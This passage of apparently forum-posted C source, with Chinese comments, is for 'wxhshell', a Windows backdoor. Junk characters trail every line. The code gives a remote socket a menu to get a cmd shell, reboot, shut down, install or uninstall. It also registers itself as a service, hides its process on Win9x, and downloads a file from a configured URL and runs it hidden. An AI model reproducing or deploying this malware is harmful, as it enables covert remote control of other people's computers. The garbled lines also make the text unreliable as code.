  else { .w`1;o  
aI6fPQe  
    switch(cmd[0]) { ['SZe0  
  okO^ /"  
  // 帮助 g0!{CW  
  case '?': { Uxq9H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cH!w;U b]  
    break; S>oQm  
  } noBGP/Av=:  
  // 安装 7EKQE>xj  
  case 'i': { ? }2]G'7?  
    if(Install()) ;*Cu >f7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0{P Rv./`  
    else p/a)vN+*x'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B>CG/]  
    break; Nuw_,-h  
    } Y4 Y;xK"  
  // 卸载 :u7y k@  
  case 'r': { uZ-yu|1  
    if(Uninstall()) 6-@ X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!6,ty'  
    else 9Xg+$/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m};Qng]  
    break; 'o#ve72z1  
    } D#T1~r4  
  // 显示 wxhshell 所在路径 P2S$Dk_<\X  
  case 'p': { :{d?B$  
    char svExeFile[MAX_PATH]; nSL x1Q  
    strcpy(svExeFile,"\n\r"); 4$=Dq$4z  
      strcat(svExeFile,ExeFile); wh\J)pA1  
        send(wsh,svExeFile,strlen(svExeFile),0); $~V,.RD  
    break; 'ju{j`b  
    } (\ze T5  
  // 重启 4$+9Wv  
  case 'b': { +a%Vp!y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RQZ|:SvV  
    if(Boot(REBOOT)) F;mK)Q-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }?pY~f  
    else { d5zF9;[  
    closesocket(wsh); :h>d'+\  
    ExitThread(0); \B'rWk 33,  
    } 1%YjY"j+  
    break; 3@r_t|j  
    } Khbkv  
  // 关机 ab1qcQ<  
  case 'd': { EPQ~V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l;I)$=={=  
    if(Boot(SHUTDOWN)) 6O^'J~wiI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t$sL6|Ww}o  
    else { S?W!bkfn  
    closesocket(wsh); G &'eP  
    ExitThread(0); KrhAObK  
    } i>n.r_!E  
    break; s^X(G!V{c  
    } btC 0w^5  
  // 获取shell f((pRP   
  case 's': { f3>8ZB4  
    CmdShell(wsh); @iZ"I i&+  
    closesocket(wsh); Cz2OGM*mz?  
    ExitThread(0); *uAsKU  
    break; wL'tGAv  
  } qYHAXc}$  
  // 退出 ^rI<}cfR  
  case 'x': { .:KZ8'g3}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g.v)qB  
    CloseIt(wsh); YEZd8Y  
    break; Zc"Vf]:  
    } :wJ=t/ho  
  // 离开 $td=h)S^`  
  case 'q': { 18|i{fE;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;* vVucx  
    closesocket(wsh); zDbjWd  
    WSACleanup(); 1sL#XB$@N  
    exit(1); L~yu  
    break; G:f\wK[  
        } %ec9`0^4S  
  } (o/HLmr@Y  
  } S~QL x  
=X(8 [ e  
  // 提示信息 =v4;t'_^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qW57h8M  
} mJ=3faM  
  } yv:8=.r}M  
<MhjvHg  
  return; !c`K zqP  
} x/NR_~Rnk  
qRg^Bp'VD#  
// shell模块句柄 ceakTAB[  
int CmdShell(SOCKET sock)  5:mS~  
{ " h,<PF  
STARTUPINFO si; ({#9gTP2b  
ZeroMemory(&si,sizeof(si)); xkIRI1*!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x.rOP_rs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (R _#lRaQ  
PROCESS_INFORMATION ProcessInfo; [C PgfVz  
char cmdline[]="cmd"; H[ 6L!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tn-_3C  
  return 0; m_Owe/BC#m  
} :"+/M{qz  
%RE-_~GF  
// 自身启动模式 wD}ojA&DU  
int StartFromService(void) D];%Ey  
{ ^goa$ uxU  
typedef struct bWN%dn$$M  
{ ,EyZ2`|  
  DWORD ExitStatus; #rL%K3'  
  DWORD PebBaseAddress; KdT1Nb=  
  DWORD AffinityMask; 9o<}*L   
  DWORD BasePriority; sd;J(<Ofh  
  ULONG UniqueProcessId; &Q>)3]|p  
  ULONG InheritedFromUniqueProcessId; GY@-}p~it  
}   PROCESS_BASIC_INFORMATION; ;b=3iT-2"  
8}/v[8p  
PROCNTQSIP NtQueryInformationProcess; E5d?toZ,8"  
*u$MqN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cd8~y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tAfdbt  
xtef18i>  
  HANDLE             hProcess; 1Ih.?7}  
  PROCESS_BASIC_INFORMATION pbi; I\JJ7/S`t  
\\80c65-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =VMV^[&>  
  if(NULL == hInst ) return 0; ! 6kLL  
B3V:?#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <qD/ #$   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GzJLG=M  
a+$WlG/x  
  if (!NtQueryInformationProcess) return 0; z4f\0uQ  
[#y/`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AtRu)v6r  
  if(!hProcess) return 0; i{8T 8  
r<]Db&k   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M)Iu'  
aRBTuLa)fo  
  CloseHandle(hProcess); }`g:) g J  
?{s!.U[T@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7 jq?zS|  
if(hProcess==NULL) return 0; 5Xn+cw*  
'p=5hsG  
HMODULE hMod; "mbcZ5 _  
char procName[255]; x{Y}1+Y4  
unsigned long cbNeeded; shbPy   
Vv=/{31  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AV0m31b  
nQuiRTU<  
  CloseHandle(hProcess); b#U nE  
vn"2"hPF|  
if(strstr(procName,"services")) return 1; // 以服务启动 SFrQPdX6V  
E#t;G: +A  
  return 0; // 注册表启动 =M"H~;f]  
} `UFRv   
*vn^ W  
// 主模块 7cx~?xk <m  
int StartWxhshell(LPSTR lpCmdLine) kTG4h@w  
{ 6X(Yv2X&4%  
  SOCKET wsl; 1JIL6w_  
BOOL val=TRUE; ("{JNA/  
  int port=0;  zk8 o[4  
  struct sockaddr_in door; ZV}"k_+-  
^6!C":f  
  if(wscfg.ws_autoins) Install();  laX(?{_  
NG-Wn+W@b  
port=atoi(lpCmdLine); k9j_#\E[  
`}:q@: %  
if(port<=0) port=wscfg.ws_port; cstSLXD  
,1'9l)zP  
  WSADATA data; }Z T{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $:M*$r^u  
ta]B9&c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SVsLu2tVY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %"GF+  
  door.sin_family = AF_INET; t0_o .S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rQ|^H Nj  
  door.sin_port = htons(port); k CkSu-  
_{CMWo"l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |cpBoU  
closesocket(wsl); qd*3| O^  
return 1; @xKLRw  
} !'>(r K$  
4`lt 4L  
  if(listen(wsl,2) == INVALID_SOCKET) { V{17iRflf  
closesocket(wsl); 8<(qN> R  
return 1; 1PWs">*(  
} Bw-<xwD  
  Wxhshell(wsl); T'9I&h%\  
  WSACleanup(); NNZ%jJy?=,  
":E^&yQ  
return 0; m+p}Qi8i)  
!g}?x3  
} ~_WsjD0O  
pEk^;  
// 以NT服务方式启动 =;DmD?nZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Le3H!9lbc  
{ ,i>u>YNZ  
DWORD   status = 0; 3-cCdn  
  DWORD   specificError = 0xfffffff; }ge~Nu>w  
b_= $W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xd%c00"U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !mNXPqnN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m&/{iCwp  
  serviceStatus.dwWin32ExitCode     = 0; 9"mOjL  
  serviceStatus.dwServiceSpecificExitCode = 0; ;V(- ;O  
  serviceStatus.dwCheckPoint       = 0; 8 wGq:@# =  
  serviceStatus.dwWaitHint       = 0; vK2sj1Hzr  
~l$u~:4Ob  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :uhU<H<,f  
  if (hServiceStatusHandle==0) return; 1e`/N+6u  
x`8rR;N!  
status = GetLastError(); >|%dN jf@Q  
  if (status!=NO_ERROR) RUcpdeo  
{ D=}UKd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YXE?b@W"  
    serviceStatus.dwCheckPoint       = 0; X`km\\*  
    serviceStatus.dwWaitHint       = 0; lz>YjK:  
    serviceStatus.dwWin32ExitCode     = status; f49pIcAq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6?y<F4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qzk/P1{-  
    return; A4RA5N/}  
  } XWH{+c"  
Il(p!l<Xz#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5W/!o&x~7  
  serviceStatus.dwCheckPoint       = 0; ~(E.$y7P  
  serviceStatus.dwWaitHint       = 0; }{>)2S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j8p</gd  
} nn>1OO  
""cnZZ5)  
// 处理NT服务事件,比如:启动、停止 +a$'<GvP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #/fh_S'Z  
{ O~t]:p9_  
switch(fdwControl) 4]L5%=atn  
{ N@D]Q&;+(T  
case SERVICE_CONTROL_STOP: 8S2sNpLi-g  
  serviceStatus.dwWin32ExitCode = 0; *`~ woF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '6l4MR$j&m  
  serviceStatus.dwCheckPoint   = 0; ^z&eD,  
  serviceStatus.dwWaitHint     = 0; -2NXQ+m ;  
  { {)j~5m.,/o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oax*3TD  
  } #+)AIf  
  return; 2=Sv#  
case SERVICE_CONTROL_PAUSE: V~j:!=b%v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f,QoA  
  break; "`P/j+-rt  
case SERVICE_CONTROL_CONTINUE: `#O%ZZ+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ML6Y_|6 |  
  break; H;('h#=cD  
case SERVICE_CONTROL_INTERROGATE: U5X\RXy~  
  break; *1F DK{  
}; ^%(HZ'$wC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f681i(q"  
} (S1c6~  
on?<3eED  
// 标准应用程序主函数 +/u)/ey  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E`#m0Q(8  
{ RLBeti>  
x*}41;j}C  
// 获取操作系统版本 wf47Ulx  
OsIsNt=GetOsVer(); *&$J.KM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %UIR GI  
r)Q/YzXx*  
  // 从命令行安装 |C:^BWrU*  
  if(strpbrk(lpCmdLine,"iI")) Install(); y %R-Oc  
#-76E  
  // 下载执行文件 vW`Dy8`06  
if(wscfg.ws_downexe) { "B18|#v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L eg)q7n  
  WinExec(wscfg.ws_filenam,SW_HIDE); >uVo 'S.  
} S0,q@LV  
!*2cK>`  
if(!OsIsNt) { K%NNw7\A  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZL!,s#  
HideProc(); Ze `=n  
StartWxhshell(lpCmdLine); bf1Tky=/  
} ODvlix  
else _5<d'fBd  
  if(StartFromService()) p mv6m  
  // 以服务方式启动 0,1x- yD  
  StartServiceCtrlDispatcher(DispatchTable); W5C8$Bqm  
else {wUbr^  
  // 普通方式启动 !O;su~7  
  StartWxhshell(lpCmdLine); Q;9-aZ.H  
C\%T|ZDE  
return 0; tK@|sZ>3\  
}
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只看该作者 1 发表于: 2006-10-10
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